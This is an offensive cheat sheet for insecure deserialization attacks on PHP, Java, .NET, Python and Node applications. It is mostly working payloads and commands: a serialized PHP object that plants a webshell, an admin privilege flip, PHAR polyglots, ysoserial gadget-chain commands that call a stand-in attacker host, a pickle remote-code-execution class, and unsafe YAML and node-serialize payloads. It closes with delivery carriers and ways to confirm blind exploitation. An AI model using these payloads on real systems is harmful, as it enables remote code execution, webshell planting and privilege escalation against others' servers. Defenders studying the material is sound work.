Insecure Deserialization Cheat Sheet

// A gadget class the app already loads:
class Logger {
    public $logfile = 'app.log';
    public $data = '';
    public function __destruct() {                 // runs automatically at end of life
        file_put_contents($this->logfile, $this->data);   // attacker-controlled sink
    }
}

# Hand-crafted payload (write a webshell). Lengths are BYTE-EXACT or unserialize() fails:
O:6:"Logger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}
 
# Tamper an existing object (privilege flip):
O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:1;}

phar://uploaded.gif/anything    PHP <= 7.4: any filesystem function taking a stream wrapper
                                 (file_exists, fopen, getimagesize, md5_file, is_file...)
                                 deserializes the PHAR's metadata object.
                                 PHP 8.0+: only an explicit Phar::getMetadata() call does.
Polyglot: valid image header (GIF89a) + __HALT_COMPILER() stub + serialized POP in metadata.

# list available gadget chains
java -jar ysoserial.jar
 
# Commons Collections chain, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0
 
# chains to try by classpath:
#   CommonsCollections1..7, CommonsBeanutils1, Spring1/2, Hibernate1, ROME, Jdk7u21
# URLDNS proves deserialization via a DNS lookup with no gadget library.
# Confirm blind with an OOB pingback or a sleep/time delay.

# ViewState when the machine key is known
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
  --generator=<hex value> --validationkey=<KEY> --validationalg=HMACSHA256 --path="/page.aspx" --apppath="/"
 
# raw BinaryFormatter gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64
 
# JSON.NET with TypeNameHandling != None is injectable via a $type property.
# viewgen is the lightweight alternative for crafting/validating ViewState.

import pickle, base64, os
 
class RCE:
    def __reduce__(self):
        # (callable, args) -> callable(*args) runs during unpickling
        return (os.system, ('id > /tmp/pwn',))
 
print(base64.b64encode(pickle.dumps(RCE())).decode())
# Send where the app calls pickle.loads() on your input (session, cache, queue).

# YAML cousin (modern PyYAML): the object tag only fires with an UNSAFE loader.
!!python/object/apply:os.system ["id"]
yaml.unsafe_load(data)                 # fires (RCE)
yaml.load(data, Loader=yaml.Loader)    # fires (RCE)
yaml.load(data)                        # 5.1+ FullLoader (5.1-5.3.0 bypassable, CVE-2020-1747; safe 5.3.1+); 6.0 needs a Loader
yaml.safe_load(data)                   # safe

A serialized value containing the node-serialize function trick:
_$$ND_FUNC$$_function(){ require('child_process').exec('id',()=>{}); }()
delivered as a JSON string field that unserialize() turns back into a called function.

Carriers:  cookies, hidden form fields, query/body params, headers, API payloads,
           message-queue bodies, cache entries.
Confirm:   flip one byte -> 500/parse error means the server deserializes it.
           For Java/.NET, send a tiny valid object first, then the gadget.
           Blind targets: OOB (DNS/HTTP pingback) or timing to confirm RCE.